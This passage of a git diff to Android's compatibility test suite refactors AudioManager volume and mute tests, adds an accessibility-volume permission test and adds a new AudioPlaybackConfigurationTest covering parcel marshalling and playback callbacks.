+                    minVolume < maxVolume);
 
-                mAudioManager.setStreamVolume(streams[i], 1, 0);
-                if (mUseFixedVolume) {
-                    assertEquals(maxVolume, mAudioManager.getStreamVolume(streams[i]));
-                    continue;
-                }
-                assertEquals(1, mAudioManager.getStreamVolume(streams[i]));
-
-                if (streams[i] == AudioManager.STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
-                    // due to new regulations, music sent over a wired headset may be volume limited
-                    // until the user explicitly increases the limit, so we can't rely on being able
-                    // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
-                    // by increasing the volume until it won't go any higher, then use that volume as
-                    // the maximum for the purposes of this test
-                    int curvol = 0;
-                    int prevvol = 0;
-                    do {
-                        prevvol = curvol;
-                        mAudioManager.adjustStreamVolume(streams[i], ADJUST_RAISE, 0);
-                        curvol = mAudioManager.getStreamVolume(streams[i]);
-                    } while (curvol != prevvol);
-                    maxVolume = maxMusicVolume = curvol;
-                }
-                mAudioManager.setStreamVolume(streams[i], maxVolume, 0);
-                mAudioManager.adjustStreamVolume(streams[i], ADJUST_RAISE, 0);
-                assertEquals(maxVolume, mAudioManager.getStreamVolume(streams[i]));
-
-                volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(streams[i]));
-                mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, streams[i], 0);
-                assertEquals(maxVolume - volumeDelta, mAudioManager.getStreamVolume(streams[i]));
-
-                // volume lower
-                mAudioManager.setStreamVolume(streams[i], maxVolume, 0);
-                volume = mAudioManager.getStreamVolume(streams[i]);
-                while (volume > minVolume) {
-                    volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(streams[i]));
-                    mAudioManager.adjustStreamVolume(streams[i], ADJUST_LOWER, 0);
-                    assertEquals(Math.max(0, volume - volumeDelta),
-                            mAudioManager.getStreamVolume(streams[i]));
-                    volume = mAudioManager.getStreamVolume(streams[i]);
-                }
-
-                mAudioManager.adjustStreamVolume(streams[i], ADJUST_SAME, 0);
-
-                // volume raise
-                mAudioManager.setStreamVolume(streams[i], 1, 0);
-                volume = mAudioManager.getStreamVolume(streams[i]);
-                while (volume < maxVolume) {
-                    volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(streams[i]));
-                    mAudioManager.adjustStreamVolume(streams[i], ADJUST_RAISE, 0);
-                    assertEquals(Math.min(volume + volumeDelta, maxVolume),
-                            mAudioManager.getStreamVolume(streams[i]));
-                    volume = mAudioManager.getStreamVolume(streams[i]);
-                }
-
-                // volume same
-                mAudioManager.setStreamVolume(streams[i], maxVolume, 0);
-                for (int k = 0; k < maxVolume; k++) {
-                    mAudioManager.adjustStreamVolume(streams[i], ADJUST_SAME, 0);
-                    assertEquals(maxVolume, mAudioManager.getStreamVolume(streams[i]));
-                }
-
-                mAudioManager.setStreamVolume(streams[i], maxVolume, 0);
-            }
-
+            mAudioManager.setStreamVolume(stream, 1, 0);
             if (mUseFixedVolume) {
-                return;
+                assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+                continue;
+            }
+            assertEquals(String.format("stream=%d", stream),
+                    1, mAudioManager.getStreamVolume(stream));
+
+            if (stream == AudioManager.STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
+                // due to new regulations, music sent over a wired headset may be volume limited
+                // until the user explicitly increases the limit, so we can't rely on being able
+                // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
+                // by increasing the volume until it won't go any higher, then use that volume as
+                // the maximum for the purposes of this test
+                int curvol = 0;
+                int prevvol = 0;
+                do {
+                    prevvol = curvol;
+                    mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+                    curvol = mAudioManager.getStreamVolume(stream);
+                } while (curvol != prevvol);
+                maxVolume = maxMusicVolume = curvol;
+            }
+            mAudioManager.setStreamVolume(stream, maxVolume, 0);
+            mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+            assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+
+            volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+            mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, stream, 0);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            assertEquals(maxVolume - volumeDelta, mAudioManager.getStreamVolume(stream));
+
+            // volume lower
+            mAudioManager.setStreamVolume(stream, maxVolume, 0);
+            volume = mAudioManager.getStreamVolume(stream);
+            while (volume > minVolume) {
+                volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+                mAudioManager.adjustStreamVolume(stream, ADJUST_LOWER, 0);
+                assertEquals(Math.max(0, volume - volumeDelta),
+                        mAudioManager.getStreamVolume(stream));
+                volume = mAudioManager.getStreamVolume(stream);
             }
 
-            // adjust volume
-            mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+            mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
 
-            MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
-            assertNotNull(mp);
-            mp.setAudioStreamType(STREAM_MUSIC);
-            mp.setLooping(true);
-            mp.start();
-            Thread.sleep(TIME_TO_PLAY);
-            assertTrue(mAudioManager.isMusicActive());
-
-            // adjust volume as ADJUST_SAME
-            for (int k = 0; k < maxMusicVolume; k++) {
-                mAudioManager.adjustVolume(ADJUST_SAME, 0);
-                assertEquals(maxMusicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            // volume raise
+            mAudioManager.setStreamVolume(stream, 1, 0);
+            volume = mAudioManager.getStreamVolume(stream);
+            while (volume < maxVolume) {
+                volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+                mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+                assertEquals(Math.min(volume + volumeDelta, maxVolume),
+                        mAudioManager.getStreamVolume(stream));
+                volume = mAudioManager.getStreamVolume(stream);
             }
 
-            // adjust volume as ADJUST_RAISE
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
-            volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
-            mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-            assertEquals(Math.min(volumeDelta, maxMusicVolume),
-                    mAudioManager.getStreamVolume(STREAM_MUSIC));
+            // volume same
+            mAudioManager.setStreamVolume(stream, maxVolume, 0);
+            for (int k = 0; k < maxVolume; k++) {
+                mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+                assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+            }
 
-            // adjust volume as ADJUST_LOWER
-            mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
-            maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
-            volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
-            mAudioManager.adjustVolume(ADJUST_LOWER, 0);
-            assertEquals(Math.max(0, maxMusicVolume - volumeDelta),
-                    mAudioManager.getStreamVolume(STREAM_MUSIC));
+            mAudioManager.setStreamVolume(stream, maxVolume, 0);
+        }
 
-            mp.stop();
-            mp.release();
-            Thread.sleep(TIME_TO_PLAY);
-            assertFalse(mAudioManager.isMusicActive());
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
+        if (mUseFixedVolume) {
+            return;
+        }
+
+        // adjust volume
+        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+
+        MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
+        assertNotNull(mp);
+        mp.setAudioStreamType(STREAM_MUSIC);
+        mp.setLooping(true);
+        mp.start();
+        Thread.sleep(TIME_TO_PLAY);
+        assertTrue(mAudioManager.isMusicActive());
+
+        // adjust volume as ADJUST_SAME
+        for (int k = 0; k < maxMusicVolume; k++) {
+            mAudioManager.adjustVolume(ADJUST_SAME, 0);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            assertEquals(maxMusicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+        }
+
+        // adjust volume as ADJUST_RAISE
+        mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
+        volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        assertEquals(Math.min(volumeDelta, maxMusicVolume),
+                mAudioManager.getStreamVolume(STREAM_MUSIC));
+
+        // adjust volume as ADJUST_LOWER
+        mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
+        maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+        volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+        mAudioManager.adjustVolume(ADJUST_LOWER, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        assertEquals(Math.max(0, maxMusicVolume - volumeDelta),
+                mAudioManager.getStreamVolume(STREAM_MUSIC));
+
+        mp.stop();
+        mp.release();
+        Thread.sleep(TIME_TO_PLAY);
+        assertFalse(mAudioManager.isMusicActive());
+    }
+
+    public void testAccessibilityVolume() throws Exception {
+        if (mUseFixedVolume) {
+            Log.i("AudioManagerTest", "testAccessibilityVolume() skipped: fixed volume");
+            return;
+        }
+        final int maxA11yVol = mAudioManager.getStreamMaxVolume(STREAM_ACCESSIBILITY);
+        assertTrue("Max a11yVol not strictly positive", maxA11yVol > 0);
+        int currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+
+        // changing STREAM_ACCESSIBILITY is subject to permission, shouldn't be able to change it
+        // test setStreamVolume
+        final int testSetVol;
+        if (currentVol != maxA11yVol) {
+            testSetVol = maxA11yVol;
+        } else {
+            testSetVol = maxA11yVol - 1;
+        }
+        mAudioManager.setStreamVolume(STREAM_ACCESSIBILITY, testSetVol, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+        assertTrue("Should not be able to change A11y vol", currentVol != testSetVol);
+
+        // test adjustStreamVolume
+        //        LOWER
+        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+        if (currentVol > 0) {
+            mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_LOWER, 0);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            int newVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+            assertTrue("Should not be able to lower A11y vol", currentVol == newVol);
+        }
+        //        RAISE
+        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+        if (currentVol < maxA11yVol) {
+            mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_RAISE, 0);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            int newVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+            assertTrue("Should not be able to raise A11y vol", currentVol == newVol);
         }
     }
 
@@ -607,18 +640,18 @@
                 AudioManager.STREAM_NOTIFICATION,
                 AudioManager.STREAM_SYSTEM};
         if (mUseFixedVolume) {
-            for (int i = 0; i < streams.length; i++) {
-                mAudioManager.adjustStreamVolume(streams[i], AudioManager.ADJUST_MUTE, 0);
+            for (int stream : streams) {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
                 assertFalse("Muting should not affect a fixed volume device.",
-                        mAudioManager.isStreamMute(streams[i]));
+                        mAudioManager.isStreamMute(stream));
 
-                mAudioManager.adjustStreamVolume(streams[i], AudioManager.ADJUST_TOGGLE_MUTE, 0);
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
                 assertFalse("Toggling mute should not affect a fixed volume device.",
-                        mAudioManager.isStreamMute(streams[i]));
+                        mAudioManager.isStreamMute(stream));
 
-                mAudioManager.setStreamMute(streams[i], true);
+                mAudioManager.setStreamMute(stream, true);
                 assertFalse("Muting should not affect a fixed volume device.",
-                        mAudioManager.isStreamMute(streams[i]));
+                        mAudioManager.isStreamMute(stream));
             }
         }
     }
@@ -628,82 +661,77 @@
             return;
         }
         int[] streams = { AudioManager.STREAM_RING };
-        try {
-            // Mute streams
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-            // Verify streams cannot be unmuted without policy access.
-            for (int i = 0; i < streams.length; i++) {
-                try {
-                    mAudioManager.adjustStreamVolume(streams[i], AudioManager.ADJUST_UNMUTE, 0);
-                    assertEquals("Apps without Notification policy access can't change ringer mode",
-                            RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-                } catch (SecurityException e) {
-                }
-
-                try {
-                    mAudioManager.adjustStreamVolume(streams[i], AudioManager.ADJUST_TOGGLE_MUTE,
-                            0);
-                    assertEquals("Apps without Notification policy access can't change ringer mode",
-                            RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-                } catch (SecurityException e) {
-                }
-
-                try {
-                    mAudioManager.setStreamMute(streams[i], false);
-                    assertEquals("Apps without Notification policy access can't change ringer mode",
-                            RINGER_MODE_SILENT, mAudioManager.getRingerMode());
-                } catch (SecurityException e) {
-                }
+        // Mute streams
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+        // Verify streams cannot be unmuted without policy access.
+        for (int stream : streams) {
+            try {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
             }
 
-            // This ensures we're out of vibrate or silent modes.
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            for (int i = 0; i < streams.length; i++) {
-                // ensure each stream is on and turned up.
-                mAudioManager.setStreamVolume(streams[i],
-                        mAudioManager.getStreamMaxVolume(streams[i]),
+            try {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
                         0);
-
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), false);
-                try {
-                    mAudioManager.adjustStreamVolume(streams[i], AudioManager.ADJUST_MUTE, 0);
-                    assertEquals("Apps without Notification policy access can't change ringer mode",
-                            RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-                } catch (SecurityException e) {
-                }
-                try {
-                    mAudioManager.adjustStreamVolume(
-                            streams[i], AudioManager.ADJUST_TOGGLE_MUTE, 0);
-                    assertEquals("Apps without Notification policy access can't change ringer mode",
-                            RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-                } catch (SecurityException e) {
-                }
-
-                try {
-                    mAudioManager.setStreamMute(streams[i], true);
-                    assertEquals("Apps without Notification policy access can't change ringer mode",
-                            RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
-                } catch (SecurityException e) {
-                }
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), true);
-                testStreamMuting(streams[i]);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
             }
-        } finally {
+
+            try {
+                mAudioManager.setStreamMute(stream, false);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+        }
+
+        // This ensures we're out of vibrate or silent modes.
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        for (int stream : streams) {
+            // ensure each stream is on and turned up.
+            mAudioManager.setStreamVolume(stream,
+                    mAudioManager.getStreamMaxVolume(stream),
+                    0);
+
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), false);
+            try {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+            try {
+                mAudioManager.adjustStreamVolume(
+                        stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+
+            try {
+                mAudioManager.setStreamMute(stream, true);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            testStreamMuting(stream);
         }
     }
 
     public void testMuteDndUnaffectedStreams() throws Exception {
-        if (mUseFixedVolume) {
+        if (mUseFixedVolume  || mIsTelevision) {
             return;
         }
         int[] streams = {
@@ -712,44 +740,39 @@
                 AudioManager.STREAM_ALARM
         };
 
-        try {
-            int muteAffectedStreams = System.getInt(mContext.getContentResolver(),
-                    System.MUTE_STREAMS_AFFECTED,
-                    // Same defaults as in AudioService. Should be kept in
-                    // sync.
-                    ((1 << AudioManager.STREAM_MUSIC) |
-                            (1 << AudioManager.STREAM_RING) |
-                            (1 << AudioManager.STREAM_NOTIFICATION) |
-                            (1 << AudioManager.STREAM_SYSTEM)));
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            // This ensures we're out of vibrate or silent modes.
-            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-            for (int i = 0; i < streams.length; i++) {
-                // ensure each stream is on and turned up.
-                mAudioManager.setStreamVolume(streams[i],
-                        mAudioManager.getStreamMaxVolume(streams[i]),
+        int muteAffectedStreams = System.getInt(mContext.getContentResolver(),
+                System.MUTE_STREAMS_AFFECTED,
+                // Same defaults as in AudioService. Should be kept in
+                // sync.
+                ((1 << AudioManager.STREAM_MUSIC) |
+                        (1 << AudioManager.STREAM_RING) |
+                        (1 << AudioManager.STREAM_NOTIFICATION) |
+                        (1 << AudioManager.STREAM_SYSTEM)));
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        // This ensures we're out of vibrate or silent modes.
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+        for (int stream : streams) {
+            // ensure each stream is on and turned up.
+            mAudioManager.setStreamVolume(stream,
+                    mAudioManager.getStreamMaxVolume(stream),
+                    0);
+            if (((1 << stream) & muteAffectedStreams) == 0) {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+                assertFalse("Stream " + stream + " should not be affected by mute.",
+                        mAudioManager.isStreamMute(stream));
+                mAudioManager.setStreamMute(stream, true);
+                assertFalse("Stream " + stream + " should not be affected by mute.",
+                        mAudioManager.isStreamMute(stream));
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
                         0);
-                if (((1 << streams[i]) & muteAffectedStreams) == 0) {
-                    mAudioManager.adjustStreamVolume(streams[i], AudioManager.ADJUST_MUTE, 0);
-                    assertFalse("Stream " + streams[i] + " should not be affected by mute.",
-                            mAudioManager.isStreamMute(streams[i]));
-                    mAudioManager.setStreamMute(streams[i], true);
-                    assertFalse("Stream " + streams[i] + " should not be affected by mute.",
-                            mAudioManager.isStreamMute(streams[i]));
-                    mAudioManager.adjustStreamVolume(streams[i], AudioManager.ADJUST_TOGGLE_MUTE,
-                            0);
-                    assertFalse("Stream " + streams[i] + " should not be affected by mute.",
-                            mAudioManager.isStreamMute(streams[i]));
-                    continue;
-                }
-                testStreamMuting(streams[i]);
+                assertFalse("Stream " + stream + " should not be affected by mute.",
+                        mAudioManager.isStreamMute(stream));
+                continue;
             }
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
+            testStreamMuting(stream);
         }
     }
 
@@ -810,8 +833,6 @@
 
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
         }
     }
 
@@ -835,8 +856,6 @@
 
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
         }
     }
 
@@ -859,8 +878,6 @@
             assertEquals(7, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
         }
     }
 
@@ -882,8 +899,6 @@
             assertEquals(7, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/AudioNativeTest.java b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
index 7301cc7..c4861ad 100644
--- a/tests/tests/media/src/android/media/cts/AudioNativeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioNativeTest.java
@@ -19,10 +19,11 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 public class AudioNativeTest extends CtsAndroidTestCase {
     public static final int MAX_CHANNEL_COUNT = 2;
     public static final int MAX_INDEX_MASK = (1 << MAX_CHANNEL_COUNT) - 1;
diff --git a/tests/tests/media/src/android/media/cts/AudioPlayRoutingNative.java b/tests/tests/media/src/android/media/cts/AudioPlayRoutingNative.java
index 6156095..a05698d 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlayRoutingNative.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlayRoutingNative.java
@@ -19,13 +19,13 @@
 import android.annotation.IntDef;
 import android.annotation.NonNull;
 import android.content.Context;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
 import android.media.AudioRouting;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.ndkaudio.AudioPlayer;
 
 import java.lang.annotation.Retention;
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
new file mode 100644
index 0000000..e5f9385
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -0,0 +1,368 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.media.SoundPool;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Parcel;
+import android.util.Log;
+import android.media.AudioPlaybackConfiguration;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+public class AudioPlaybackConfigurationTest extends CtsAndroidTestCase {
+    private final static String TAG = "AudioPlaybackConfigurationTest";
+
+    private final static int TEST_TIMING_TOLERANCE_MS = 50;
+    private final static int TEST_TIMEOUT_SOUNDPOOL_LOAD_MS = 3000;
+
+    // not declared inside test so it can be released in case of failure
+    private MediaPlayer mMp;
+    private SoundPool mSp;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mMp != null) {
+            mMp.stop();
+            mMp.release();
+            mMp = null;
+        }
+        if (mSp != null) {
+            mSp.release();
+            mSp = null;
+        }
+    }
+
+    private final static int TEST_USAGE = AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED;
+    private final static int TEST_CONTENT = AudioAttributes.CONTENT_TYPE_SPEECH;
+
+    // test marshalling/unmarshalling of an AudioPlaybackConfiguration instance. Since we can't
+    // create an AudioPlaybackConfiguration directly, we first need to play something to get one.
+    public void testParcelableWriteToParcel() throws Exception {
+        if (!isValidPlatform("testParcelableWriteToParcel")) return;
+
+        // create a player, make it play so we can get an AudioPlaybackConfiguration instance
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+        mMp = MediaPlayer.create(getContext(), R.raw.sine1khzs40dblong,
+                aa, am.generateAudioSessionId());
+        mMp.start();
+        Thread.sleep(2*TEST_TIMING_TOLERANCE_MS);// waiting for playback to start
+        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+        mMp.stop();
+        assertTrue("No playback reported", configs.size() > 0);
+        AudioPlaybackConfiguration configToMarshall = null;
+        for (AudioPlaybackConfiguration config : configs) {
+            if (config.getAudioAttributes().equals(aa)) {
+                configToMarshall = config;
+                break;
+            }
+        }
+
+        assertNotNull("Configuration not found during playback", configToMarshall);
+        assertEquals(0, configToMarshall.describeContents());
+
+        final Parcel srcParcel = Parcel.obtain();
+        final Parcel dstParcel = Parcel.obtain();
+        final byte[] mbytes;
+
+        configToMarshall.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
+        mbytes = srcParcel.marshall();
+        dstParcel.unmarshall(mbytes, 0, mbytes.length);
+        dstParcel.setDataPosition(0);
+        final AudioPlaybackConfiguration restoredConfig =
+                AudioPlaybackConfiguration.CREATOR.createFromParcel(dstParcel);
+
+        assertEquals("Marshalled/restored AudioAttributes don't match",
+                configToMarshall.getAudioAttributes(), restoredConfig.getAudioAttributes());
+    }
+
+    public void testGetterMediaPlayer() throws Exception {
+        if (!isValidPlatform("testGetterMediaPlayer")) return;
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+        final int nbActivePlayersBeforeStart = configs.size();
+
+        mMp = MediaPlayer.create(getContext(), R.raw.sine1khzs40dblong,
+                aa, am.generateAudioSessionId());
+        configs = am.getActivePlaybackConfigurations();
+        assertEquals("inactive MediaPlayer, number of configs shouldn't have changed",
+                nbActivePlayersBeforeStart /*expected*/, configs.size());
+
+        mMp.start();
+        Thread.sleep(2*TEST_TIMING_TOLERANCE_MS);// waiting for playback to start
+        configs = am.getActivePlaybackConfigurations();
+        assertEquals("active MediaPlayer, number of configs should have increased",
+                nbActivePlayersBeforeStart + 1 /*expected*/,
+                configs.size());
+        assertTrue("Active player, attributes not found", hasAttr(configs, aa));
+
+        // verify "privileged" fields aren't available through reflection
+        final AudioPlaybackConfiguration config = configs.get(0);
+        final Class<?> confClass = config.getClass();
+        final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
+        final Method getClientPidMethod = confClass.getDeclaredMethod("getClientPid");
+        final Method getPlayerTypeMethod = confClass.getDeclaredMethod("getPlayerType");
+        try {
+            Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+            assertEquals("uid isn't protected", -1 /*expected*/, uid.intValue());
+            Integer pid = (Integer) getClientPidMethod.invoke(config, null);
+            assertEquals("pid isn't protected", -1 /*expected*/, pid.intValue());
+            Integer type = (Integer) getPlayerTypeMethod.invoke(config, null);
+            assertEquals("player type isn't protected", -1 /*expected*/, type.intValue());
+        } catch (Exception e) {
+            fail("Exception thrown during reflection on config privileged fields"+ e);
+        }
+    }
+
+    public void testCallbackMediaPlayer() throws Exception {
+        if (!isValidPlatform("testCallbackMediaPlayer")) return;
+        doTestCallbackMediaPlayer(false /* no custom Handler for callback */);
+    }
+
+    public void testCallbackMediaPlayerHandler() throws Exception {
+        if (!isValidPlatform("testCallbackMediaPlayerHandler")) return;
+        doTestCallbackMediaPlayer(true /* use custom Handler for callback */);
+    }
+
+    private void doTestCallbackMediaPlayer(boolean useHandlerInCallback) throws Exception {
+        final Handler h;
+        if (useHandlerInCallback) {
+            HandlerThread handlerThread = new HandlerThread(TAG);
+            handlerThread.start();
+            h = new Handler(handlerThread.getLooper());
+        } else {
+            h = null;
+        }
